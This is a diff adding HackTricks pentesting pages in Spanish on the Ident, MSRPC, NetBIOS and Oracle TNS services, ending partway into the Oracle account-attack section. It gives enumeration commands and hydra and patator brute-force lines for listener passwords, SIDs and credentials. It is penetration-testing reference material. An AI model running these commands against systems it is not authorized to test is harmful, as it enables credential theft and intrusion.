Esto al menos ayuda a ver si se están utilizando claves. Para volcar los nombres de las claves desde un script PHP que ya accede a memcache, se puede utilizar el código PHP de [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
|
113
network-services-pentesting/113-pentesting-ident.md
Normal file
113
network-services-pentesting/113-pentesting-ident.md
Normal file
|
@ -0,0 +1,113 @@
|
|||
# 113 - Pentesting Ident
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
Usado para identificar al usuario de una conexión TCP particular, Ident es un [protocolo de Internet](https://es.wikipedia.org/wiki/Protocolo_de_Internet).
|
||||
|
||||
**Puerto predeterminado:** 113
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
113/tcp open ident
|
||||
```
|
||||
## **Enumeración**
|
||||
|
||||
### **Manual - Obtener usuario/Identificar el servicio**
|
||||
|
||||
Si una máquina está ejecutando el servicio ident y samba (445) y estás conectado a samba usando el puerto 43218. Puedes obtener qué usuario está ejecutando el servicio samba haciendo:
|
||||
|
||||
![](<../.gitbook/assets/image (15) (1) (1).png>)
|
||||
|
||||
Si solo presionas enter cuando te conectas al servicio:
|
||||
|
||||
![](<../.gitbook/assets/image (16) (1) (1).png>)
|
||||
|
||||
Otros errores:
|
||||
|
||||
![](<../.gitbook/assets/image (17) (1).png>)
|
||||
|
||||
### Nmap
|
||||
|
||||
Por defecto (-sC), nmap identificará a todos los usuarios de todos los puertos en ejecución:
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)
|
||||
|_auth-owners: root
|
||||
| ssh-hostkey:
|
||||
| 1024 88:23:98:0d:9d:8a:20:59:35:b8:14:12:14:d5:d0:44 (DSA)
|
||||
|_ 2048 6b:5d:04:71:76:78:56:96:56:92:a8:02:30:73:ee:fa (RSA)
|
||||
113/tcp open ident
|
||||
|_auth-owners: identd
|
||||
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: LOCAL)
|
||||
|_auth-owners: root
|
||||
445/tcp open netbios-ssn Samba smbd 3.0.24 (workgroup: LOCAL)
|
||||
|_auth-owners: root
|
||||
```
|
||||
### Ident-user-enum
|
||||
|
||||
Ident-user-enum es un script PERL simple para consultar el servicio ident (113/TCP) con el fin de determinar el propietario del proceso que escucha en cada puerto TCP de un sistema objetivo. La lista de nombres de usuario recopilados se puede utilizar para ataques de adivinanza de contraseñas en otros servicios de red. Se puede instalar con `apt install ident-user-enum`.
|
||||
```
|
||||
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
|
||||
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
|
||||
|
||||
192.168.1.100:22 root
|
||||
192.168.1.100:113 identd
|
||||
192.168.1.100:139 root
|
||||
192.168.1.100:445 root
|
||||
```
|
||||
### Shodan
|
||||
|
||||
* `oident`
|
||||
|
||||
## Archivos
|
||||
|
||||
identd.conf
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** impulsados por las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Comandos Automáticos de HackTricks
|
||||
```
|
||||
Protocol_Name: Ident #Protocol Abbreviation if there is one.
|
||||
Port_Number: 113 #Comma separated if there is more than one.
|
||||
Protocol_Description: Identification Protocol #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for Ident
|
||||
Note: |
|
||||
Is an Internet protocol that helps identify the user of a particular TCP connection.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/113-pentesting-ident
|
||||
|
||||
Entry_2:
|
||||
Name: Enum Users
|
||||
Description: Enumerate Users
|
||||
Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all open ports)
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
120
network-services-pentesting/135-pentesting-msrpc.md
Normal file
120
network-services-pentesting/135-pentesting-msrpc.md
Normal file
|
@ -0,0 +1,120 @@
|
|||
# 135, 593 - Pentesting MSRPC
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales de errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
## Información básica
|
||||
|
||||
Microsoft Remote Procedure Call, también conocido como llamada de función o llamada de subrutina, es [un protocolo](http://searchmicroservices.techtarget.com/definition/Remote-Procedure-Call-RPC) que utiliza el modelo cliente-servidor para permitir que un programa solicite un servicio de un programa en otra computadora sin tener que comprender los detalles de la red de esa computadora. MSRPC se derivó originalmente de software de código abierto, pero ha sido desarrollado aún más y está protegido por derechos de autor de Microsoft.
|
||||
|
||||
Dependiendo de la configuración del host, el mapeador de puntos finales RPC se puede acceder a través del puerto TCP y UDP 135, a través de SMB con una sesión nula o autenticada (TCP 139 y 445) y como un servicio web que escucha en el puerto TCP 593.
|
||||
```
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
```
|
||||
## ¿Cómo funciona MSRPC?
|
||||
|
||||
El proceso de MSRPC comienza en el lado del cliente, con la aplicación del cliente llamando a un procedimiento de stub local en lugar del código que implementa el procedimiento. El código de stub del cliente recupera los parámetros necesarios del espacio de direcciones del cliente y los entrega a la biblioteca de tiempo de ejecución del cliente, que luego traduce los parámetros a un formato estándar de representación de datos de red para transmitirlos al servidor.
|
||||
|
||||
El stub del cliente luego llama a funciones en la biblioteca de tiempo de ejecución del cliente RPC para enviar la solicitud y los parámetros al servidor. Si el servidor se encuentra de forma remota, la biblioteca de tiempo de ejecución especifica un protocolo de transporte y un motor apropiados y pasa el RPC a la pila de red para su transporte al servidor.\
|
||||
De aquí: [https://www.extrahop.com/resources/protocols/msrpc/](https://www.extrahop.com/resources/protocols/msrpc/)
|
||||
|
||||
![](<../.gitbook/assets/image (133).png>)
|
||||
|
||||
**Imagen del libro "**_**Evaluación de seguridad de redes 3ra edición**_**"**
|
||||
|
||||
## **Identificación de servicios RPC expuestos**
|
||||
|
||||
Puede consultar el servicio de localización de RPC y los puntos finales de RPC individuales para catalogar servicios interesantes que se ejecutan sobre TCP, UDP, HTTP y SMB (a través de tuberías con nombre). Cada valor IFID recopilado a través de este proceso denota un servicio RPC (por ejemplo, 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc es la interfaz de Messenger).
|
||||
|
||||
Las utilidades de Windows rpcdump e ifids de Todd Sabin consultan tanto el localizador de RPC como los puntos finales de RPC específicos para listar los valores IFID. La sintaxis de rpcdump es la siguiente:
|
||||
```
|
||||
D:\rpctools> rpcdump [-p port] 192.168.189.1
|
||||
IfId: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
|
||||
Annotation: Messenger Service
|
||||
UUID: 00000000-0000-0000-0000-000000000000
|
||||
Binding: ncadg_ip_udp:192.168.189.1[1028]
|
||||
```
|
||||
Puedes acceder al servicio de localización RPC utilizando cuatro secuencias de protocolo:
|
||||
|
||||
* ncacn\_ip\_tcp y ncadg\_ip\_udp (puerto TCP y UDP 135)
|
||||
* ncacn\_np (el pipe \epmapper con nombre a través de SMB)
|
||||
* ncacn\_http (RPC sobre HTTP a través del puerto TCP 80, 593 y otros)
|
||||
```bash
|
||||
use auxiliary/scanner/dcerpc/endpoint_mapper
|
||||
use auxiliary/scanner/dcerpc/hidden
|
||||
use auxiliary/scanner/dcerpc/management
|
||||
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
|
||||
rpcdump.py <IP> -p 135
|
||||
```
|
||||
_Nota que de las opciones mencionadas todas excepto **`tcp_dcerpc_auditor`** solo pueden ser ejecutadas contra **msrpc** en el **puerto 135**._
|
||||
|
||||
#### Interfaces RPC notables
|
||||
|
||||
| **Valor IFID** | **Named pipe** | **Descripción** |
|
||||
| ------------------------------------ | -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 12345778-1234-abcd-ef00-0123456789ab | \pipe\lsarpc | Interfaz LSA, utilizada para enumerar usuarios |
|
||||
| 3919286a-b10c-11d0-9ba8-00c04fd92ef5 | \pipe\lsarpc | Interfaz de Servicios de Directorio (DS) de LSA, utilizada para enumerar dominios y relaciones de confianza |
|
||||
| 12345778-1234-abcd-ef00-0123456789ac | \pipe\samr | Interfaz SAMR de LSA, utilizada para acceder a elementos públicos de la base de datos SAM (por ejemplo, nombres de usuario) y para forzar contraseñas de usuario sin importar la política de bloqueo de cuentas [Biblioteca Oreilly](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#idm139659172852688) |
|
||||
| 1ff70682-0a51-30e8-076d-740be8cee98b | \pipe\atsvc | Programador de tareas, utilizado para ejecutar comandos de forma remota |
|
||||
| 338cd001-2244-31f1-aaaa-900038001003 | \pipe\winreg | Servicio de registro remoto, utilizado para acceder al registro del sistema |
|
||||
| 367abb81-9844-35f1-ad32-98f038001003 | \pipe\svcctl | Administrador de servicios y servicios de servidor, utilizado para iniciar y detener servicios de forma remota y ejecutar comandos |
|
||||
| 4b324fc8-1670-01d3-1278-5a47bf6ee188 | \pipe\srvsvc | Administrador de servicios y servicios de servidor, utilizado para iniciar y detener servicios de forma remota y ejecutar comandos |
|
||||
| 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 | \pipe\epmapper | Interfaz DCOM, compatible con WMI |
|
||||
|
||||
### Identificación de direcciones IP
|
||||
|
||||
Usando [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), que proviene de la investigación de [Airbus](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), es posible abusar del método _**ServerAlive2**_ dentro de la interfaz _**IOXIDResolver**_.
|
||||
|
||||
Este método se ha utilizado para obtener información de la interfaz como la dirección **IPv6** de la máquina HTB _APT_. Ver [aquí](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) para el informe de 0xdf APT, que incluye un método alternativo utilizando rpcmap.py de [Impacket](https://github.com/SecureAuthCorp/impacket/) con _stringbinding_ (ver arriba).
|
||||
|
||||
Referencias:
|
||||
|
||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)
|
||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
||||
|
||||
## Puerto 593
|
||||
|
||||
El **rpcdump.exe** de [rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools) puede interactuar con este puerto.
|
||||
|
||||
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales de errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,83 @@
|
|||
## Servicio de nombres NetBios
|
||||
|
||||
* Servicio de nombres para registro y resolución de nombres (puertos: 137/udp y 137/tcp).
|
||||
* Servicio de distribución de datagramas para comunicación sin conexión (puerto: 138/udp).
|
||||
* Servicio de sesión para comunicación orientada a conexión (puerto: 139/tcp).
|
||||
|
||||
### Servicio de nombres
|
||||
|
||||
Cada máquina debe tener un nombre dentro de la red NetBios. Para solicitar un nombre, una máquina debe enviar un paquete "Consulta de nombre" en difusión y si alguien responde que ya está usando ese nombre, la máquina puede usar ese nombre. Si hay un servidor de Servicio de Nombres, la computadora podría preguntar al servidor de Servicio de Nombres si alguien está usando el nombre que quiere usar.
|
||||
|
||||
Para descubrir la dirección IP de un nombre, una PC debe enviar un paquete "Consulta de nombre" y esperar si alguien responde. Si hay un servidor de Servicio de Nombres, la PC puede preguntarle por la IP del nombre.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
||||
```
|
||||
Enumerar un servicio NetBIOS te permite obtener los nombres que está utilizando el servidor y la dirección MAC del servidor.
|
||||
```bash
|
||||
nmblookup -A <IP>
|
||||
nbtscan <IP>/30
|
||||
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
||||
```
|
||||
### Servicio de Distribución de Datagramas
|
||||
|
||||
Los datagramas de NetBIOS se envían a través de UDP. Un datagrama se envía con un paquete "Directo Único" o "Directo de Grupo" si se envía a un nombre de NetBIOS en particular, o con un paquete "Broadcast" si se envía a todos los nombres de NetBIOS en la red.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
138/udp open|filtered netbios-dgm
|
||||
```
|
||||
### Servicio de Sesión
|
||||
|
||||
El modo de sesión permite que dos computadoras establezcan una conexión para una "conversación", permite manejar mensajes más grandes y proporciona detección y recuperación de errores.
|
||||
|
||||
Las sesiones se establecen intercambiando paquetes. La computadora que establece la sesión intenta hacer una conexión [TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol) al puerto 139 de la computadora con la que se establecerá la sesión. Si se establece la conexión, la computadora que establece la sesión envía a través de la conexión un paquete de "Solicitud de Sesión" con los nombres NetBIOS de la aplicación que establece la sesión y el nombre NetBIOS al que se establecerá la sesión. La computadora con la que se establecerá la sesión responderá con una "Respuesta Positiva de Sesión" indicando que se puede establecer una sesión o una "Respuesta Negativa de Sesión" indicando que no se puede establecer una sesión (ya sea porque esa computadora no está escuchando sesiones que se establecen con ese nombre o porque no hay recursos disponibles para establecer una sesión con ese nombre).
|
||||
|
||||
Los datos se transmiten durante una sesión establecida mediante paquetes de Mensaje de Sesión.
|
||||
|
||||
TCP maneja el control de flujo y la retransmisión de todos los paquetes de servicio de sesión, y la división del flujo de datos sobre el cual se transmiten los paquetes en datagramas [IP](https://en.wikipedia.org/wiki/Internet\_Protocol) lo suficientemente pequeños como para caber en paquetes de capa de enlace.
|
||||
|
||||
Las sesiones se cierran cerrando la conexión TCP.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
**Lee la siguiente página para aprender cómo enumerar este servicio:**
|
||||
|
||||
{% content-ref url="137-138-139-pentesting-netbios.md" %}
|
||||
[137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Comandos Automáticos de HackTricks
|
||||
```
|
||||
Protocol_Name: Netbios #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
Protocol_Description: Netbios #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for NetBios
|
||||
Note: |
|
||||
Name service for name registration and resolution (ports: 137/udp and 137/tcp).
|
||||
Datagram distribution service for connectionless communication (port: 138/udp).
|
||||
Session service for connection-oriented communication (port: 139/tcp).
|
||||
|
||||
Every machine should have a name inside the NetBios network. To request a name, a machine should send a "Name Query" packet in broadcast and if anyone answer that it is already using that name, the machine can use that name. If there is a Name Service server, the computer could ask the Name Service server if someone is using the name that it wants to use.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
|
||||
|
||||
Entry_2:
|
||||
Name: Find Names
|
||||
Description: Three scans to find the names of the server
|
||||
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,270 @@
|
|||
## Información Básica
|
||||
|
||||
Oracle Database (Oracle DB) es un sistema de gestión de bases de datos relacionales (RDBMS) de Oracle Corporation (de [aquí](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
|
||||
Cuando se enumera Oracle, el primer paso es hablar con el TNS-Listener que generalmente reside en el puerto predeterminado (1521/TCP, -también puede haber oyentes secundarios en 1522-1529-).
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
```
|
||||
## Resumen
|
||||
|
||||
1. **Enumerar la versión** (buscar **vulnerabilidades conocidas**)
|
||||
2. **Ataque de fuerza bruta** a la comunicación del TNS listener (no siempre es necesario)
|
||||
3. **Enumerar**/Ataque de fuerza bruta a los **nombres SID** (como nombres de bases de datos)
|
||||
4. **Ataque de fuerza bruta a las credenciales** para el nombre SID válido descubierto
|
||||
5. Intentar **ejecutar código**
|
||||
|
||||
Para usar los módulos de Oracle de MSF, es necesario instalar algunas dependencias: [**Instalación**](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
## Enumeración
|
||||
|
||||
Las herramientas que se pueden utilizar para esto son: nmap, MSF y [tnscmd10g](http://dokfleed.net/files/audit/tnscmd10g.zip).
|
||||
|
||||
### Versión del TNS listener
|
||||
```bash
|
||||
nmap --script "oracle-tns-version" -p 1521 -T4 -sV <IP>
|
||||
msf> use auxiliary/scanner/oracle/tnslsnr_version
|
||||
#apt install tnscmd10g
|
||||
tnscmd10g version -p 1521 -h <IP>
|
||||
```
|
||||
Otros comandos útiles del TNS listener:
|
||||
|
||||
| **Comando** | **Propósito** |
|
||||
| ------------- | --------------------------------------------------------------- |
|
||||
| ping | Hacer ping al listener |
|
||||
| version | Proporcionar la versión del listener y la información de la plataforma |
|
||||
| status | Devolver el estado actual y las variables utilizadas por el listener |
|
||||
| services | Volcar los datos del servicio |
|
||||
| debug | Volcar información de depuración en el registro del listener |
|
||||
| reload | Volver a cargar el archivo de configuración del listener |
|
||||
| save\_config | Escribir el archivo de configuración del listener en una ubicación de copia de seguridad |
|
||||
| stop | Invocar el cierre del listener |
|
||||
|
||||
Si **recibe un error**, podría ser porque las **versiones de TNS son incompatibles** (Use el parámetro `--10G` con `tnscmd10`) y si el **error persiste**, el listener puede estar **protegido por contraseña** (puede ver una lista donde se detallan todos los [**errores aquí**](https://docs.oracle.com/database/121/ERRMG/TNS-00000.htm#ERRMG-GUID-D723D931-ECBA-4FA4-BF1B-1F4FE2EEBAD7)) — no se preocupe… hydra al rescate\*\*:\*\*
|
||||
```
|
||||
hydra -P rockyou.txt -t 32 -s 1521 host.victim oracle-listener
|
||||
```
|
||||
El oyente TNS podría ser vulnerable a ataques **MitM**. [Comprueba aquí cómo comprobar si el servidor es vulnerable y cómo realizar el ataque (todas las versiones hasta la versión 12c lo son)](tns-poison.md).
|
||||
|
||||
### Enumeración de SID
|
||||
|
||||
#### **¿Qué es un SID?**
|
||||
|
||||
El SID (Identificador de Servicio) es esencialmente el nombre de la base de datos, dependiendo de la instalación puede tener uno o más SID predeterminados, o incluso un SID definido por el dba de forma totalmente personalizada.
|
||||
|
||||
**En algunas versiones antiguas (en la 9 funciona)** se podía solicitar el SID y la base de datos te lo enviaba:
|
||||
```bash
|
||||
tnscmd10g status-p 1521 -h <IP> #The SID are inside: SERVICE=(SERVICE_NAME=<SID_NAME>)
|
||||
|
||||
#msf1
|
||||
msf> use auxiliary/scanner/oracle/sid_enum
|
||||
msf> set rhost <IP>
|
||||
msf> run
|
||||
#msf2
|
||||
msf> use auxiliary/admin/oracle/tnscmd
|
||||
msf> set CMD (CONNECT_DATA=(COMMAND=STATUS))
|
||||
msf> set rhost <IP>
|
||||
msf> run #The SID are inside: SERVICE=(SERVICE_NAME=<SID_NAME>)
|
||||
```
|
||||
Si no puedes acceder de esta manera a los SID, tendrás que hacer un ataque de fuerza bruta:
|
||||
|
||||
**Fuerza bruta de SID**
|
||||
|
||||
He fusionado las listas de SID de nmap y MSF en una sola (sin duplicados):
|
||||
|
||||
{% file src="../../.gitbook/assets/sids-oracle.txt" %}
|
||||
```bash
|
||||
hydra -L /usr/share/metasploit-framework/data/wordlists/sid.txt -s 1521 <IP> oracle-sid
|
||||
patator oracle_login host=<IP> sid=FILE0 0=sids-oracle.txt -x ignore:code=ORA-12505
|
||||
./odat.py sidguesser -s $SERVER -d $SID --sids-file=./sids.txt
|
||||
msf> use auxiliary/admin/oracle/sid_brute #This will use the list located at /usr/share/metasploit-framework/data/wordlists/sid.txt
|
||||
nmap --script +oracle-sid-brute -p 1521 10.11.1.202 #This will use the list lcated at /usr/share/nmap/nselib/data/oracle-sids
|
||||
```
|
||||
Para utilizar **oracle\_login** con **patator** necesitas **instalar**:
|
||||
```
|
||||
pip3 install cx_Oracle --upgrade
|
||||
```
|
||||
## **Atacando Cuentas**
|
||||
|
||||
¿Tienes el SID? Excelente, ahora pasemos a la siguiente tarea y extraigamos la información de la cuenta de usuario. A partir de este punto, puedes conectarte al listener y hacer fuerza bruta a las credenciales.
|
||||
|
||||
